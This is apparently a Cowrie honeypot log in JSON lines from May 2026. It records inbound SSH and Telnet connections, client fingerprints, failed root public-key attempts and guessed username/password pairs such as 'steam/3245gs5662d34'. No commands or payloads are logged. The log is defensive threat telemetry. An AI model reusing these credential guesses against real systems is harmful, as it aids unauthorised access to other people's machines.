{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":51374,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd31cc7933ab","protocol":"ssh","message":"New connection: 187.230.120.231:51374 (10.17.0.5:22) [session: dd31cc7933ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:48.688165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:48.695487Z","src_ip":"187.230.120.231","session":"dd31cc7933ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:48.793533Z","src_ip":"187.230.120.231","session":"dd31cc7933ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:49.205732Z","src_ip":"187.230.120.231","session":"dd31cc7933ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:49.305910Z","src_ip":"187.230.120.231","session":"dd31cc7933ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:49.318194Z","src_ip":"187.230.120.231","session":"667f3d40f626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.147969245910645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:52.170478Z","src_ip":"45.58.127.90","session":"a66f25cd4f67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.995792627334595,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:43:58.201888Z","src_ip":"45.58.127.90","session":"137b12fe5c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56654,"dst_ip":"159.203.135.109","dst_port":23,"session":"11698cad77ea","protocol":"telnet","message":"New connection: 147.182.143.59:56654 (159.203.135.109:23) [session: 11698cad77ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:02.456641Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42888,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee52b4a8b423","protocol":"telnet","message":"New connection: 45.58.127.90:42888 (10.17.0.5:23) [session: ee52b4a8b423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:02.808336Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":50150,"dst_ip":"159.203.135.109","dst_port":23,"session":"d04bd9ceecf6","protocol":"telnet","message":"New connection: 147.182.143.59:50150 (159.203.135.109:23) [session: d04bd9ceecf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:07.593786Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33844,"dst_ip":"10.17.0.5","dst_port":23,"session":"0376e5784bc9","protocol":"telnet","message":"New connection: 45.58.127.90:33844 (10.17.0.5:23) [session: 0376e5784bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.299413Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.14.160","src_port":45278,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30b00f889c1","protocol":"ssh","message":"New connection: 23.94.14.160:45278 (10.17.0.5:22) [session: f30b00f889c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.316885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.321634Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.348209Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:e3:88:28:22:49:5e:a8:2b:d9:9e:7c:9a:6f:9a:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0qdPPl8g+h2bPAlF04NTasRs3W+Cu3sEnzx/MhgDSyPRolsnUyATQGdIYp32IdtmRfARrfqHX5mbqB6zgwxyoxk5hreVK9BZYWoZWt6QZencma/PotoIGB/UKzVbrU711PWmLcYDiox6RyP98cYoS1Lc5szQVi2Dc4qS8LJ2glcZAosk7wi56G5v6LHEzw6Rq7XUgiNQIT2imQOqyn3aEyARvXkVZ2FdSY4rv3Wc1aHEyISORrZ+7pJfE/7jXd59Dv/JI1tohqs7wo0+xOKkZx4bp+z7N2ePG+87asm/cN41UhKCXs9ZivUG0NNVtX5MqbIJBLdAvKbbvUwSCk/t1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:e3:88:28:22:49:5e:a8:2b:d9:9e:7c:9a:6f:9a:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.450403Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:e3:88:28:22:49:5e:a8:2b:d9:9e:7c:9a:6f:9a:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0qdPPl8g+h2bPAlF04NTasRs3W+Cu3sEnzx/MhgDSyPRolsnUyATQGdIYp32IdtmRfARrfqHX5mbqB6zgwxyoxk5hreVK9BZYWoZWt6QZencma/PotoIGB/UKzVbrU711PWmLcYDiox6RyP98cYoS1Lc5szQVi2Dc4qS8LJ2glcZAosk7wi56G5v6LHEzw6Rq7XUgiNQIT2imQOqyn3aEyARvXkVZ2FdSY4rv3Wc1aHEyISORrZ+7pJfE/7jXd59Dv/JI1tohqs7wo0+xOKkZx4bp+z7N2ePG+87asm/cN41UhKCXs9ZivUG0NNVtX5MqbIJBLdAvKbbvUwSCk/t1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.453946Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:08:5c:f4:cc:47:50:fd:2c:de:a3:16:85:5f:2c:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0wv4A6/YUNrVOYrJEMX7sXbvTLSkcSVlE0ugfI7vI2lKGCvb473FpL2YACP96QOCPoND9m5DFG0JCT+VhBwF7nllyVrEniXeyUDbKYhpcKjTU5v3Br08Cod/V/YIqa9OlTrbBabUnetgg0io+ie1KiJFNttC2/tAW8T5TT/iaQD71IeQgwCWGzWH4cTEG0JihKlsUFdokM2CIaAnKhbyerM19JU6U4hveUQPkTvzehvC4HkAOg9y2FCkXg9uuL+ORCV6tjWKaWUpvtvAAOgTJQsSyAt0J1GiF32NJqE/79p42QhRNsDDGJUYBmw6o/6F7Vqfng6hE6ZbcPeWJOrwcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:08:5c:f4:cc:47:50:fd:2c:de:a3:16:85:5f:2c:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.479996Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:08:5c:f4:cc:47:50:fd:2c:de:a3:16:85:5f:2c:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0wv4A6/YUNrVOYrJEMX7sXbvTLSkcSVlE0ugfI7vI2lKGCvb473FpL2YACP96QOCPoND9m5DFG0JCT+VhBwF7nllyVrEniXeyUDbKYhpcKjTU5v3Br08Cod/V/YIqa9OlTrbBabUnetgg0io+ie1KiJFNttC2/tAW8T5TT/iaQD71IeQgwCWGzWH4cTEG0JihKlsUFdokM2CIaAnKhbyerM19JU6U4hveUQPkTvzehvC4HkAOg9y2FCkXg9uuL+ORCV6tjWKaWUpvtvAAOgTJQsSyAt0J1GiF32NJqE/79p42QhRNsDDGJUYBmw6o/6F7Vqfng6hE6ZbcPeWJOrwcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.483724Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:ac:8c:19:56:8d:c2:a1:2f:32:f5:2d:35:c6:1e:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxh99HIA2TzAbMIwqU5buG03LpE9YMULj4n6vILADrd4ZTrUeyKxMpP2KGjR8gMmW9cLHsEKnuOXmNE+y7b3UzOoLQfJAqTtLxXweG6gA+JSsEFMZL5YkiMjKTEKVwiaPPZGeIClsbC0LG3EuO9gvE8XYS4In9O0Z+zKF0TAg+jBnnMZLtIAFBivS3FATtDh6+94fxhZ5/6By8KSkW9++UJlc01t0Nyp7i3MV55BHM7ZwvfLi9TOASudBU5SibZRWTzTaTfGVPDiU4TbW+8jH5LvARSS5u6TCNPDsXQILpkPuCTNg/1IlI5bvTbnulXRpA2x8YGBKdnKowkRpL0yd1v+sWGBBLfZQ7lX4FjjC9qpATEosV3oOEL3emfvKcQOXa7Tr5mbCp7L2Z7GFWRJfnH7gLKk6RoZlA5RtFMa+lvR3NJiVqy6SctkwlpEqZ0ZdVl4qXLQuk4RqafmmsDpS9yZ/9o1CIIzQyDo3eiUrQM7jbsh+M8cVyA9byra2WQMn8qclqvycR8smccrXR2Tw8inw6bIqgJKvqNfPoDFkQVuU+9jMcrMjztDIyoCxade+lxjShl9JXzlVMZ//zdQSzlxPlgcXApq8G3dPnZKqe6RVGoPZk9PP4e50njMSDnCNtasUo3Wk1qtlydXkHe5UIGtDRdqChLrnPWcYSN9MQcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:ac:8c:19:56:8d:c2:a1:2f:32:f5:2d:35:c6:1e:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.511075Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:ac:8c:19:56:8d:c2:a1:2f:32:f5:2d:35:c6:1e:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxh99HIA2TzAbMIwqU5buG03LpE9YMULj4n6vILADrd4ZTrUeyKxMpP2KGjR8gMmW9cLHsEKnuOXmNE+y7b3UzOoLQfJAqTtLxXweG6gA+JSsEFMZL5YkiMjKTEKVwiaPPZGeIClsbC0LG3EuO9gvE8XYS4In9O0Z+zKF0TAg+jBnnMZLtIAFBivS3FATtDh6+94fxhZ5/6By8KSkW9++UJlc01t0Nyp7i3MV55BHM7ZwvfLi9TOASudBU5SibZRWTzTaTfGVPDiU4TbW+8jH5LvARSS5u6TCNPDsXQILpkPuCTNg/1IlI5bvTbnulXRpA2x8YGBKdnKowkRpL0yd1v+sWGBBLfZQ7lX4FjjC9qpATEosV3oOEL3emfvKcQOXa7Tr5mbCp7L2Z7GFWRJfnH7gLKk6RoZlA5RtFMa+lvR3NJiVqy6SctkwlpEqZ0ZdVl4qXLQuk4RqafmmsDpS9yZ/9o1CIIzQyDo3eiUrQM7jbsh+M8cVyA9byra2WQMn8qclqvycR8smccrXR2Tw8inw6bIqgJKvqNfPoDFkQVuU+9jMcrMjztDIyoCxade+lxjShl9JXzlVMZ//zdQSzlxPlgcXApq8G3dPnZKqe6RVGoPZk9PP4e50njMSDnCNtasUo3Wk1qtlydXkHe5UIGtDRdqChLrnPWcYSN9MQcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.514643Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:a8:53:66:13:04:5b:6b:78:e7:0a:b4:f9:a8:b5:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLwNXRYk7X87HYUHXVt6R42Wzt5zO5XtpbavF4mQlfBCF5p/x4f0toQfnu4reIVa2sZX1ul+FvKB0f+1cMG6gwoOqmA737vQ6z5YdzbHBKVhMm6VeE4hP90c21NfBzUF86e0e+NKEasjljmwbs5Km6jPTd7UVSIddJkmvpcsasRLO8bdjuT+qd6gXiy4YoD0parSDJenC83VV4NycRIYqSHtxyxqV/AIEvqPebSI+s358KIvj37a9jtQQeTUPEosj//tZh6wytrs4eXeJG2+MwYHesy8fu/d2YMDuhfurM6ndSt2NKAGGKqj3h5EVLC+uQBQyBYbNSw/9qd7fI68sd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:a8:53:66:13:04:5b:6b:78:e7:0a:b4:f9:a8:b5:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.539989Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:a8:53:66:13:04:5b:6b:78:e7:0a:b4:f9:a8:b5:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLwNXRYk7X87HYUHXVt6R42Wzt5zO5XtpbavF4mQlfBCF5p/x4f0toQfnu4reIVa2sZX1ul+FvKB0f+1cMG6gwoOqmA737vQ6z5YdzbHBKVhMm6VeE4hP90c21NfBzUF86e0e+NKEasjljmwbs5Km6jPTd7UVSIddJkmvpcsasRLO8bdjuT+qd6gXiy4YoD0parSDJenC83VV4NycRIYqSHtxyxqV/AIEvqPebSI+s358KIvj37a9jtQQeTUPEosj//tZh6wytrs4eXeJG2+MwYHesy8fu/d2YMDuhfurM6ndSt2NKAGGKqj3h5EVLC+uQBQyBYbNSw/9qd7fI68sd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.543836Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:bf:8b:e8:9a:16:6e:6e:d7:80:db:3c:5a:82:5a:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2gcyKIbSgJ/NPL0rDe4uALuVRxr6eHKFaTBTBHjlNf3LtD6dsfQx8FVToa1/tneBnSt2ZPeAUW0vMIRGSCTWFPHq/xQUEZPLWUiSM8QUaheU6MyExLxztL/3KDopxgQ6Lg7DFYgG1lNYHUjSqJMgU6LSbp30aGHYKDZsXToxlkqbpaiFN2dfy3zrzarjXgFcDiI7yji3NgXSEFbP3ASBaXFBT6IDC59+QduknvilZDVLIVl+7VDwvlDPPQYts6BftFvBBx+dt3BfbQV31r/Lq1IzVesNyLnJRmHrFiRljBJN0VVnK5cV1rF3NIsft4KYGRr0eZWmSdigBoebqplngQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:bf:8b:e8:9a:16:6e:6e:d7:80:db:3c:5a:82:5a:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.570042Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:bf:8b:e8:9a:16:6e:6e:d7:80:db:3c:5a:82:5a:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2gcyKIbSgJ/NPL0rDe4uALuVRxr6eHKFaTBTBHjlNf3LtD6dsfQx8FVToa1/tneBnSt2ZPeAUW0vMIRGSCTWFPHq/xQUEZPLWUiSM8QUaheU6MyExLxztL/3KDopxgQ6Lg7DFYgG1lNYHUjSqJMgU6LSbp30aGHYKDZsXToxlkqbpaiFN2dfy3zrzarjXgFcDiI7yji3NgXSEFbP3ASBaXFBT6IDC59+QduknvilZDVLIVl+7VDwvlDPPQYts6BftFvBBx+dt3BfbQV31r/Lq1IzVesNyLnJRmHrFiRljBJN0VVnK5cV1rF3NIsft4KYGRr0eZWmSdigBoebqplngQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.573690Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:10.599134Z","src_ip":"23.94.14.160","session":"f30b00f889c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:22.389994Z","src_ip":"190.181.4.12","session":"b711f7d470f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.554611921310425,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:28.148263Z","src_ip":"147.182.143.59","session":"d04bd9ceecf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36680,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d225b59a70e","protocol":"telnet","message":"New connection: 147.182.143.59:36680 (159.203.135.109:23) [session: 6d225b59a70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:29.885741Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58712,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3ef1c12cd8","protocol":"telnet","message":"New connection: 45.58.127.90:58712 (10.17.0.5:23) [session: 3d3ef1c12cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:31.953362Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36686,"dst_ip":"159.203.135.109","dst_port":23,"session":"037e547b5d39","protocol":"telnet","message":"New connection: 147.182.143.59:36686 (159.203.135.109:23) [session: 037e547b5d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:33.921412Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":36070,"dst_ip":"10.17.0.5","dst_port":22,"session":"5717801ccb9a","protocol":"ssh","message":"New connection: 187.230.120.231:36070 (10.17.0.5:22) [session: 5717801ccb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:43.363049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:43.367961Z","src_ip":"187.230.120.231","session":"5717801ccb9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:43.464816Z","src_ip":"187.230.120.231","session":"5717801ccb9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46676,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b59b837c3ce","protocol":"telnet","message":"New connection: 147.182.143.59:46676 (159.203.135.109:23) [session: 3b59b837c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:43.525403Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"123abc","message":"login attempt [user/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:43.879981Z","src_ip":"187.230.120.231","session":"5717801ccb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:44.980669Z","src_ip":"187.230.120.231","session":"5717801ccb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.832866430282593,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:45.718459Z","src_ip":"147.182.143.59","session":"6d225b59a70e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46688,"dst_ip":"159.203.135.109","dst_port":23,"session":"11b63c0eb8f0","protocol":"telnet","message":"New connection: 147.182.143.59:46688 (159.203.135.109:23) [session: 11b63c0eb8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:46.305981Z"}
